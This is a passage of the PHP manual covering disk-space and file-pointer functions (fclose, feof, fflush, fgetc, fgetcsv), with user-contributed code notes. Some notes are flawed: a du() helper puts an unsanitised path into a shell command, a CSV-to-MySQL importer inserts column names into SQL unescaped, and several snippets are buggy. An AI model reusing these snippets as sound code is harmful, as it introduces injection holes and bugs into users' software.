        foreach($data as $token)if(substr($token,0,5)=='/dev/')$disks[]=$token;
        return $disks;
    }
}
?>

EXAMPLE OF USE:
<?php print_r(get_disks()); ?>

EXAMPLE RESULT:
Array
(
    [1] => A:\
    [2] => C:\
    [3] => D:\
    [4] => E:\
    [5] => F:\
    [6] => G:\
    [7] => H:\
    [8] => I:\
    [9] => M:\
    [10] => X:\
    [11] => Z:\
)

Warning: This also finds empty disk drives (eg; CD or SMD drives or the more common floppy drive).

Warning2: If you want to find space usage using the info from my function, prepend the disk function with the "@", eg:

$free=@disk_free_space('A:\\');
Viitala 04-Feb-2008 01:04
Beware of empty files!

<?php

    // Wrong
    $exp = floor(log($bytes) / log(1024));

    //Correct
    $exp = $bytes ? floor(log($bytes) / log(1024)) : 0;

?>
tularis at php dot net 25-Jun-2007 03:13
For a non-looping way to add symbols to a number of bytes:
<?php
function getSymbolByQuantity($bytes) {
    $symbols = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
    $exp = floor(log($bytes)/log(1024));

    return sprintf('%.2f '.$symbol[$exp], ($bytes/pow(1024, floor($exp))));
}
stierguy1 at msn dot com 24-Jun-2007 07:03
function roundsize($size){
    $i=0;
    $iec = array("B", "Kb", "Mb", "Gb", "Tb");
    while (($size/1024)>1) {
        $size=$size/1024;
        $i++;}
    return(round($size,1)." ".$iec[$i]);}
nikolayku at tut dot by 17-Apr-2007 01:16
Very simple function that convert bytes to kilobytes, megabytes ...

function ConvertBytes($number)
{
    $len = strlen($number);
    if($len < 4)
    {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6)
    {
        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9)
    {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }

    return sprintf("%0.2f Gb", $number/1024/1024/1024);

}
Mat 05-Apr-2007 03:46
JulieC:

I think you may have misunderstood - given a directory, this function tells you how big the disk paritition is that the directory exists on.

So disk_total_space("C:\Windows\") will tell you how big drive C is.

It is not suggesting that a directory is a disk partition.
JulieC 30-Jan-2007 07:11
"filesystem or disk partition" does not equal "directory" for Windows.  Thanks.
martijn at mo dot com 13-Jan-2007 02:41
This works for me (on a UNIX server):

<?php
function du( $dir )
{
    $res = `du -sk $dir`;             // Unix command
    preg_match( '/\d+/', $res, $KB ); // Parse result
    $MB = round( $KB[0] / 1024, 1 );  // From kilobytes to megabytes
    return $MB;
}

$dirSize = du('/path/to/dir/');
?>
shalless at rubix dot net dot au 16-Jul-2003 07:36
My first contribution. Trouble is the sum of the byte sizes of the files in your directories is not equal to the amount of disk space consumed, as andudi points out. A 1-byte file occupies 4096 bytes of disk space if the block size is 4096. Couldn't understand why andudi did $s["blksize"]*$s["blocks"]/8. Could only be because $s["blocks"] counts the number of 512-byte disk blocks not the number of $s["blksize"] blocks, so it may as well just be $s["blocks"]*512. Furthermore none of the dirspace suggestions allow for the fact that directories are also files and that they also consume disk space. The following code dskspace addresses all these issues and can also be used to return the disk space consumed by a single non-directory file. It will return much larger numbers than you would have been seeing with any of the other suggestions but I think they are much more realistic:

<?php
function dskspace($dir)
{
   $s = stat($dir);
   $space = $s["blocks"]*512;
   if (is_dir($dir))
   {
     $dh = opendir($dir);
     while (($file = readdir($dh)) !== false)
       if ($file != "." and $file != "..")
         $space += dskspace($dir."/".$file);
     closedir($dh);
   }
   return $space;
}
?>
andudi at gmx dot ch 11-Jun-2002 03:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick
disk_free_space
diskfreespace
Filesystem Functions


Alias of disk_free_space

disk_total_space
fclose
Filesystem Functions
PHP Manual

diskfreespace

(PHP 4, PHP 5)

diskfreespace — Alias of disk_free_space()

Description

This function is an alias of: disk_free_space().

User Contributed Notes

27-Oct-2005 05:17
<?php
//On windows:
$hdwinC = disk_free_space("C:");
$hdwinD = disk_free_space("D:");
echo "Diskspace left on C: $hdwinC<br>";
echo "Diskspace left on D: $hdwinD";

//Linux:
$hdGnu = disk_free_space("/");
echo "Diskspace left on / $hdGnu";
?>
disk_total_space
fclose
Filesystem Functions


Closes an open file pointer

diskfreespace
feof
Filesystem Functions
PHP Manual

fclose

(PHP 4, PHP 5)

fclose — Closes an open file pointer

Description

bool fclose ( resource $handle )

The file pointed to by handle is closed.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A simple fclose() example

<?php

$handle = fopen('somefile.txt', 'r');

fclose($handle);

?>

See Also

  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

crrodriguez at opensuse dot org 11-May-2010 09:05
Note that since PHP 5.3.2 fclose() no longer unlock open file descriptors at shutdown.
sineld at sineld dot com 23-Nov-2006 04:50
Do not forget, if you are going to read the contents of the file which you have already written via fwrite() or else you have to close the file first.
mark at markvange * com 04-May-2006 09:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
williamhamby at williamhamby dot net 07-Apr-2006 06:19
Trying to understand how 'end foreach' and 'endwhile' differ, I've encountered a problem I can't solve by myself. The following is a fairly easy stock portfolio script. Everything works, except at the end where I want to calculate the average of the gains as represented by $gain[$i].

<?php
$quantity="3";
$stocks=array("iso","grn","bdgr.pk");
$buydates=array("3 jan 2006","1 feb 2006","3 apr 2006");
$prices=array("0.32","0.20","0.95");
$recommends=array("hold","strong buy","buy");
$i=0;
echo"<tr>";
echo "\n<th align='center'>ticker</th>";
echo "\n<th align='center'>buy date</th>";
echo "\n<th align='center'>price $</th>";
echo "\n<th align='center'>recommend</th>";
echo "\n<th align='center'>value $</th>";
echo "\n<th align='center'>change %</th>\n</tr>\n";
foreach($stocks as $stock) {
$fp=fopen("http://","r");
$data=fgetcsv($fp,1000,",");
$values=$data[1];
echo "<tr>\n<td align='center'>".$stock."</td>";
echo "\n<td align='center'>".$buydates[$i]."</td>";
echo "\n<td align='center'>".$prices[$i]."</td>";
echo "\n<td align='center'>".$recommends[$i]."</td>";
echo "\n<td align='center'>".$values."</td>\n<td align='center'>";
echo $gain[$i]=round(((($values-$prices[$i])/$prices[$i])*100),2);
echo "</td>\n</tr>";
fclose ($fp);
$i++;
}
echo "\n<tr>\n<td align='center'>".$gain[$i]."<td>\n</tr>\n";
?>

Help?
James R. Steel 28-Nov-2005 09:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
kit dot lester at lycos dot co dot uk 18-Sep-2005 05:34
fclose() also clears any locks on the file, so if another process was being kept waiting for the lock to be cleared, fclose()ing will allow the other process to continue.

[Another "just-in-case" reason to habitually fclose() all files as soon as practical!]
jricher at jacquesricher dot com 01-Feb-2005 06:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
kumar mcmillan 30-Sep-2004 12:10
gotcha:

<?php

$file_pointer = fopen('data.dat', 'r');
fclose($file_pointer);

echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');

?>

output:
$file_pointer is resource = true
daniel7 dot martinez at ps dot ge dot com 10-Sep-2001 04:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.
diskfreespace
feof
Filesystem Functions


Tests for end-of-file on a file pointer

fclose
fflush
Filesystem Functions
PHP Manual

feof

(PHP 4, PHP 5)

feof — Tests for end-of-file on a file pointer

Description

bool feof ( resource $handle )

Tests for end-of-file on a file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Notes

Warning

If a connection opened by fsockopen() wasn't closed by the server, feof() will hang. To workaround this, see below example:

Example #1 Handling timeouts with feof()

<?php
function safe_feof($fp, &$start = NULL) {
 $start = microtime(true);

 return feof($fp);
}

/* Assuming $fp is previously opened by fsockopen() */

$start = NULL;
$timeout = ini_get('default_socket_timeout');

while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
 /* Handle */
}
?>

Warning

If the passed file pointer is not valid you may get an infinite loop, because feof() fails to return TRUE.

Example #2 feof() example with an invalid file pointer

<?php
// if file can not be read or doesn't exist fopen function returns FALSE
$file = @fopen("no_such_file", "r");

// FALSE from fopen will issue warning and result in infinite loop here
while (!feof($file)) {
}

fclose($file);
?>

User Contributed Notes

kexianbin at diyism dot com 09-Jun-2010 01:16
The forgotten function to detect if it is at the last line in many language:

<?php
function llof($fp) {
         {$p_current=ftell($fp);
          $rtn=fgets($fp)?false:true;
          fseek($fp, $p_current);
          return $rtn;
}
?>
sudo dot adam dot carruthers at gmail dot com 06-Feb-2010 09:01
When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger):

NOTE: I used ";" to denote the end of data transmission.  This can be modified to whatever the server's end of file or in this case, end of output character is.

<?php
        $cursor = "";
        $inData = "";

        while(strcmp($cursor, ";") != 0) {
            $cursor = fgetc($sock);
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";".  Using the above method will add ";" to the string, but the fix for this is simple.

<?php
        $cursor = "";
        $inData = "";

         $cursor = fgetc($sock);
        while(strcmp($cursor, ";") != 0) {
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

I hope this helps someone.
jakicoll 02-Jan-2010 04:59
Please note that feof() used with TCP-Connections, returns false as long as the connection is open.
It even returns false when there is no data available.

BTW: Using feof() with HTTP for a single request, you should always make sure that you set the HTTP-Header "Connection" to "close" and _not_ to "keep-alive".
honzam+php at ipdgroup dot com 28-Feb-2008 02:17
Johannes: Remember note from stream_get_meta_data page: For socket streams this member [eof] can be TRUE  even when unread_bytes  is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

Another thing: better not rely on the "including socket timeout" part of when feof returns true. Just found program looping two days in while(!feof($fd)) fread ... with 20 seconds timeout in PHP 4.3.10.
Jet 19-Sep-2007 07:03
To avoid infinite loop with fgets() just use do..while statement.

<?php
if ($f = fopen('myfile.txt', 'r')) do {
    $line = fgets($f);
    // do any stuff here...
} while (!feof($f));
fclose($f);
cmr at forestfactory dot de 19-Nov-2006 08:57
Here's solution 3:

<?
$fp = fopen("myfile.txt", "r");
while ( ($current_line = fgets($fp)) !== false ) {
  // do stuff to the current line here
}
fclose($fp);
?>

AFAICS fgets() never returns an empty string, so we can also write:

<?
$fp = fopen("myfile.txt", "r");
while ( $current_line = fgets($fp) ) {
  // do stuff to the current line here
}
fclose($fp);
?>
Tom 24-Oct-2006 03:27
feof() is, in fact, reliable.  However, you have to use it carefully in conjunction with fgets().  A common (but incorrect) approach is to try something like this:

<?
$fp = fopen("myfile.txt", "r");
while (!feof($fp)) {
  $current_line = fgets($fp);
  // do stuff to the current line here
}
fclose($fp);
?>

The problem when processing plain text files is that feof() will not return true after getting the last line of input.  You need to try to get input _and fail_ before feof() returns true.  You can think of the loop above working like this:

* (merrily looping, getting lines and processing them)
* fgets used to get 2nd to last line
* line is processed
* loop back up -- feof returns false, so do the steps inside the loop
* fgets used to get last line
* line is processed
* loop back up -- since the last call to fgets worked (you got the last line), feof still returns false, so you do the steps inside the loop again
* fgets used to try to get another line (but there's nothing there!)
* your code doesn't realize this, and tries to process this non-existent line (typically by doing the same actions again)
* now when your code loops back up, feof returns true, and your loop ends

There's two ways to solve this:

1. You can put an additional test for feof() inside the loop
2. You can move around your calls to fgets() so that the testing of feof() happens in a better location

Here's solution 1:

<?
$fp = fopen("myfile.txt", "r");
while(!feof($fp)) {
  $current_line = fgets($fp);
  if (!feof($fp)) {
    // process current line
  }
}
fclose($fp);
?>

And here's solution 2 (IMHO, more elegant):

<?
$fp = fopen("myfile.txt", "r");
$current_line = fgets($fp);
while (!feof($fp)) {
  // process current line
  $current_line = fgets($fp);
}
fclose($fp);
?>

FYI, the eof() function in C++ works the exact same way, so this isn't just some weird PHP thing...
ironoxid at libero dot it 06-Jun-2006 06:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m 03-Jun-2006 05:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

    $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
    $xml = "";
    if ($handle)
    {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
        fclose($handle);
    }
01-Jan-2006 06:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
31-Jul-2005 10:21
if you hit an feof() infinite loop, watch out for resultant humongous logs, they can cripple a site with hard disk usage limits or run up excess usage fees.
04-Mar-2005 09:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
Johannes 12-Mar-2004 02:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.
fclose
fflush
Filesystem Functions


Flushes the output to a file

feof
fgetc
Filesystem Functions
PHP Manual

fflush

(PHP 4 >= 4.0.1, PHP 5)

fflush — Flushes the output to a file

Description

bool fflush ( resource $handle )

This function forces a write of all buffered output to the resource pointed to by the file handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 File write example using fflush()

<?php
$filename = 'bar.txt';

$file = fopen($filename, 'r+');
rewind($file);
fwrite($file, 'Foo');
fflush($file);
ftruncate($file, ftell($file));
fclose($file);
?>

See Also

  • clearstatcache() - Clears file status cache
  • fwrite() - Binary-safe file write

User Contributed Notes

oryan at zareste dot com 30-Oct-2005 04:48
Just a note that fflush takes care of the cache already, at least on my server.  Using clearstatcache before reading a previously written file also worked, but lagged the output time much more noticeably (by two or three seconds), probably due to excess cache erasing beyond files.
jzho327 at cse dot unsw dot edu dot au 27-Jan-2003 12:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.
feof
fgetc
Filesystem Functions


Gets character from file pointer

fflush
fgetcsv
Filesystem Functions
PHP Manual

fgetc

(PHP 4, PHP 5)

fgetc — Gets character from file pointer

Description

string fgetc ( resource $handle )

Gets a character from the given file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns a string containing a single character read from the file pointed to by handle. Returns FALSE on EOF.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 A fgetc() example

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
    echo 'Could not open file somefile.txt';
}
while (false !== ($char = fgetc($fp))) {
    echo "$char\n";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • fread() - Binary-safe file read
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • fgets() - Gets line from file pointer

User Contributed Notes

sfinktah at php dot spamtrak dot org 22-Mar-2011 06:33
To read a single key-press in CLI mode, you can either use ncurses (which will probably require additional modules for PHP) or get nasty with the *nix "/bin/stty" command)

<?php
   function stty($options) {
      exec($cmd = "/bin/stty $options", $output, $el);
      $el AND die("exec($cmd) failed");
      return implode(" ", $output);
   }

   function getchar($echo = false) {
      $echo = $echo ? "" : "-echo";

      # Get original settings
      $stty_settings = preg_replace("#.*; ?#s", "", stty("--all"));

      # Set new ones
      stty("cbreak $echo");

      # Get characters until a PERIOD is typed,
      # showing their hexidecimal ordinal values.
      printf("> ");
      do {
         printf("%02x ", ord($c = fgetc(STDIN)));
      } while ($c != '.');

      # Return settings
      stty($stty_settings);
   }

   getchar();
?>
alex at alexdemers dot me 11-May-2009 10:30
The best and simplest way to get input from a user in the CLI with only PHP is to use fgetc() function with the STDIN constant:

<?php

echo 'Are you sure you want to quit? (y/n) ';
$input = fgetc(STDIN);

if ($input == 'y')
{
    exit(0);
}

?>
ktraas at gmail dot com (Kevin Traas) 23-Mar-2009 07:08
I was using command-line PHP to create an interactive script and wanted the user to enter just one character of input - in response a Yes/No question.  Had some trouble finding a way to do so using fgets(), fgetc(), various suggestions using readline(), popen(), etc.  Came up with the following that works quite nicely:

$ans = strtolower( trim( `bash -c "read -n 1 -t 10 ANS ; echo \\\$ANS"` ) );
fflush
fgetcsv
Filesystem Functions


Gets line from file pointer and parse for CSV fields

fgetc
fgets
Filesystem Functions
PHP Manual

fgetcsv

(PHP 4, PHP 5)

fgetcsv — Gets line from file pointer and parse for CSV fields

Description

array fgetcsv ( resource $handle [, int $length = 0 [, string $delimiter = ',' [, string $enclosure = '"' [, string $escape = '\\' ]]]] )

Similar to fgets() except that fgetcsv() parses the line it reads for fields in CSV format and returns an array containing the fields read.

Parameters

handle

A valid file pointer to a file successfully opened by fopen(), popen(), or fsockopen().

length

Must be greater than the longest line (in characters) to be found in the CSV file (allowing for trailing line-end characters). It became optional in PHP 5. Omitting this parameter (or setting it to 0 in PHP 5.0.4 and later) the maximum line length is not limited, which is slightly slower.

delimiter

Set the field delimiter (one character only).

enclosure

Set the field enclosure character (one character only).

escape

Set the escape character (one character only). Defaults as a backslash.

Return Values

Returns an indexed array containing the fields read.

Note:

A blank line in a CSV file will be returned as an array comprising a single null field, and will not be treated as an error.

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

fgetcsv() returns NULL if an invalid handle is supplied or FALSE on other errors, including end of file.

Changelog

Version | Description
5.3.0 | The escape parameter was added
4.3.5 | fgetcsv() is now binary safe
4.3.0 | The enclosure parameter was added

Examples

Example #1 Read and print the entire contents of a CSV file

<?php
$row = 1;
if (($handle = fopen("test.csv", "r")) !== FALSE) {
    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
        $num = count($data);
        echo "<p> $num fields in line $row: <br /></p>\n";
        $row++;
        for ($c=0; $c < $num; $c++) {
            echo $data[$c] . "<br />\n";
        }
    }
    fclose($handle);
}
?>

Notes

Note:

Locale setting is taken into account by this function. If LANG is e.g. en_US.UTF-8, files in one-byte encoding are read wrong by this function.

See Also

  • str_getcsv() - Parse a CSV string into an array
  • explode() - Split a string by string
  • file() - Reads entire file into an array
  • pack() - Pack data into binary string
  • fputcsv() - Format line as CSV and write to file pointer

User Contributed Notes

nick at atomicdesign dot net 13-Jan-2012 12:48
I was getting a bytes exhausted error when iterating through a CSV file. ini_set('auto_detect_line_endings', 1); fixed it.
erelsgl at gmail dot com 09-May-2011 05:57
Here is a function that accepts the path to a CSV file, and inserts all records to the given MySQL table, paying attention to the column names:

<?php
function csv_file_to_mysql_table($source_file, $target_table, $max_line_length=10000) {
    if (($handle = fopen("$source_file", "r")) !== FALSE) {
        $columns = fgetcsv($handle, $max_line_length, ",");
        foreach ($columns as &$column) {
            $column = str_replace(".","",$column);
        }
        $insert_query_prefix = "INSERT INTO $target_table (".join(",",$columns).")\nVALUES";
        while (($data = fgetcsv($handle, $max_line_length, ",")) !== FALSE) {
            while (count($data)<count($columns))
                array_push($data, NULL);
            $query = "$insert_query_prefix (".join(",",quote_all_array($data)).");";
            mysql_query($query);
        }
        fclose($handle);
    }
}

function quote_all_array($values) {
    foreach ($values as $key=>$value)
        if (is_array($value))
            $values[$key] = quote_all_array($value);
        else
            $values[$key] = quote_all($value);
    return $values;
}

function quote_all($value) {
    if (is_null($value))
        return "NULL";

    $value = "'" . mysql_real_escape_string($value) . "'";
    return $value;
}
?>

This assumes that the columns in the table have exactly the same name as the columns in the CSV file, except that the dots (".") are removed. This is because MySQL column names cannot contain dots.
ifedinachukwu at yahoo dot com 05-Apr-2011 05:43
I had a csv file whose fields included data with line endings (CRLF created by hitting the carriage returns in html textarea). Of course, the LF in these fields was escaped by MySQL during the creation of the csv. Problem is I could NOT get fgetcsv to work correctly here, since each and every LF was regarded as the end of a line of the csv file, even when it was escaped!

Since what I wanted was to get THE FIRST LINE of the csv file, then count the number of fields by exploding on all unescaped commas, I had to resort to this:

<?php
/*
First five lines of csv: the 4th row has a line-break within  a data field. The LFs represent line-feeds or \n
1,okonkwo joseph,nil,2010-01-12 17:41:40LF
2,okafor john,cq and sulphonamides,2010-01-12 17:58:03LF
3,okoye andrew,lives with hubby in abuja,2011-03-30 13:39:19LF
4,okeke peter,In 2001\, had appendicectomy in AbaCR
\LF
In 2004\, had ELCS at a private hoapital in Lagos,2011-03-30 13:39:19LF
5,adewale chris,cq and sulphonamides,2010-01-12 17:58:03LF

*/

        $fp = fopen('file.csv', 'r');
        $i = 1;
        $str='';
        $srch='';
            while (false !== ($char = fgetc($fp))) {
                $str .= $char;//use this to collect the string for outputting
                $srch .= $char;//use this to search for LF, possible preceded by \'
                if(strlen($srch) > 2){
                    $srch = substr($srch, 1);//ie trim off the first char
                }
                if($i > 1 && $srch[1] == chr(10) && $srch[0] != '\\'){//chr(10) is LF, ie \n
                    break;//if you get to the \n NOT preceded by \, that's the real line-ending, stop collecting the string;
                }

            $i++;
        }
        echo $str;//should contain the first line as string

?>
Perhaps there exists a more elegant solution to this issue, in which case I'd be glad to know!
Anonymous 18-Feb-2011 05:23
NOTE: i think the example in this page should be changed. I think the following line should be added to just inside the while loop:

if( $data === true ) die('PAY ATTENTION DUMMY');

The reasoning for this, is if the user happens to take out the seemingly "extra" brackets around the "$data" part, they will get a while bunch of rows where all they get is the value true instead of an array. This way, if the user borrows the code but then later on removes the seemingly "extra" brackets, they have something keeping them safe from themselves at least.

I say this because this just happened to some poorly designed code in a system I manage, that as a result caused a whole bunch of blank records to be imported into a database.
Anonymous 18-Feb-2011 04:52
NOTE: the 5th parameter was apparently not added until 5.3.0 yet the documentation on this page fails to mention this.
maxime dot thomas at wascou dot org 06-Jan-2011 09:01
Ok, I finally found a clean way to fix the delimiter limitation ( delimiter must be a character).

Try this as delimiter '\0'.

<?php
...
$data = fgetcsv($fh, 1000, '\0');
...
?>

It's the empty character.
Kjeld 10-Dec-2010 10:58
The fgetcsv() is really great. CSV files are not as simple as they seem. They may span multiple lines, contain unmatched double quotes (like: 32" screen size) and lot of other surprising variants. My problem was that I had an ISO-8859-1 encoded file and fgetcsv() expects it to be UTF-8 encoded. I tried with a range of regular expressions I found on the Internet but none of them worked 100 %. So, if you haven't discovered it yet: fgetcsv() is king. My server doesn't have str_getcsv() so I had to figure out some way to use fgetcsv() for my ISO-8859-1 files.

I found the answer here: http://bugs.php.net/bug.php?id=48507. So I ended up with:

<?php
class utf8encode_filter extends php_user_filter
{
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = utf8_encode($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}
?>

and

<?php
$fp = @fopen($fileName, "r");
stream_filter_register("utf8encode", "utf8encode_filter")
  or die("Failed to register filter");
stream_filter_prepend($fp, "utf8encode");
?>
matasbi at gmail dot com 08-Dec-2010 08:22
Parse from Microsoft Excel "Unicode Text (*.txt)" format:

<?php
function parse($file) {
    if (($handle = fopen($file, "r")) === FALSE) return;
    while (($cols = fgetcsv($handle, 1000, "\t")) !== FALSE) {
        foreach( $cols as $key => $val ) {
            $cols[$key] = trim( $cols[$key] );
            $cols[$key] = iconv('UCS-2', 'UTF-8', $cols[$key]."\0") ;
            $cols[$key] = str_replace('""', '"', $cols[$key]);
            $cols[$key] = preg_replace("/^\"(.*)\"$/sim", "$1", $cols[$key]);
        }
        echo print_r($cols, 1);
    }
}
?>
code at ashleyhunt dot co dot uk 04-Dec-2010 07:14
I needed a function to analyse a file for delimiters and line endings prior to importing the file into MySQL using LOAD DATA LOCAL INFILE

I wrote this function to do the job, the results are (mostly) very accurate and it works nicely with large files too.
<?php
function analyse_file($file, $capture_limit_in_kb = 10) {
    // capture starting memory usage
    $output['peak_mem']['start']    = memory_get_peak_usage(true);

    // log the limit how much of the file was sampled (in Kb)
    $output['read_kb']                 = $capture_limit_in_kb;

    // read in file
    $fh = fopen($file, 'r');
        $contents = fread($fh, ($capture_limit_in_kb * 1024)); // in KB
    fclose($fh);

    // specify allowed field delimiters
    $delimiters = array(
        'comma'     => ',',
        'semicolon' => ';',
        'tab'         => "\t",
        'pipe'         => '|',
        'colon'     => ':'
    );

    // specify allowed line endings
    $line_endings = array(
        'rn'         => "\r\n",
        'n'         => "\n",
        'r'         => "\r",
        'nr'         => "\n\r"
    );

    // loop and count each line ending instance
    foreach ($line_endings as $key => $value) {
        $line_result[$key] = substr_count($contents, $value);
    }

    // sort by largest array value
    asort($line_result);

    // log to output array
    $output['line_ending']['results']     = $line_result;
    $output['line_ending']['count']     = end($line_result);
    $output['line_ending']['key']         = key($line_result);
    $output['line_ending']['value']     = $line_endings[$output['line_ending']['key']];
    $lines = explode($output['line_ending']['value'], $contents);

    // remove last line of array, as this maybe incomplete?
    array_pop($lines);

    // create a string from the legal lines
    $complete_lines = implode(' ', $lines);

    // log statistics to output array
    $output['lines']['count']     = count($lines);
    $output['lines']['length']     = strlen($complete_lines);

    // loop and count each delimiter instance
    foreach ($delimiters as $delimiter_key => $delimiter) {
        $delimiter_result[$delimiter_key] = substr_count($complete_lines, $delimiter);
    }

    // sort by largest array value
    asort($delimiter_result);

    // log statistics to output array with largest counts as the value
    $output['delimiter']['results']     = $delimiter_result;
    $output['delimiter']['count']         = end($delimiter_result);
    $output['delimiter']['key']         = key($delimiter_result);
    $output['delimiter']['value']         = $delimiters[$output['delimiter']['key']];

    // capture ending memory usage
    $output['peak_mem']['end'] = memory_get_peak_usage(true);
    return $output;
}
?>

Example Usage:
<?php
$Array = analyse_file('/www/files/file.csv', 10);

// example usable parts
// $Array['delimiter']['value'] => ,
// $Array['line_ending']['value'] => \r\n
?>

Full function output:
Array
(
    [peak_mem] => Array
        (
            [start] => 786432
            [end] => 786432
        )

    [line_ending] => Array
        (
            [results] => Array
                (
                    [nr] => 0
                    [r] => 4
                    [n] => 4
                    [rn] => 4
                )

            [count] => 4
            [key] => rn
            [value] =>

        )

    [lines] => Array
        (
            [count] => 4
            [length] => 94
        )

    [delimiter] => Array
        (
            [results] => Array
                (
                    [colon] => 0
                    [semicolon] => 0
                    [pipe] => 0
                    [tab] => 1
                    [comma] => 17
                )

            [count] => 17
            [key] => comma
            [value] => ,
        )

    [read_kb] => 10
)

Enjoy!

Ashley
mustafa dot kachwala at gmail dot com 25-Oct-2010 01:59
A simple function to return 2 Dimensional array by parsing a CSV file.

<?php
    function get2DArrayFromCsv($file,$delimiter) {
        if (($handle = fopen($file, "r")) !== FALSE) {
            $i = 0;
            while (($lineArray = fgetcsv($handle, 4000, $delimiter)) !== FALSE) {
                for ($j=0; $j<count($lineArray); $j++) {
                    $data2DArray[$i][$j] = $lineArray[$j];
                }
                $i++;
            }
            fclose($handle);
        }
        return $data2DArray;
    }
?>
jack dot peterson at gmail dot com 05-Oct-2010 04:30
If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
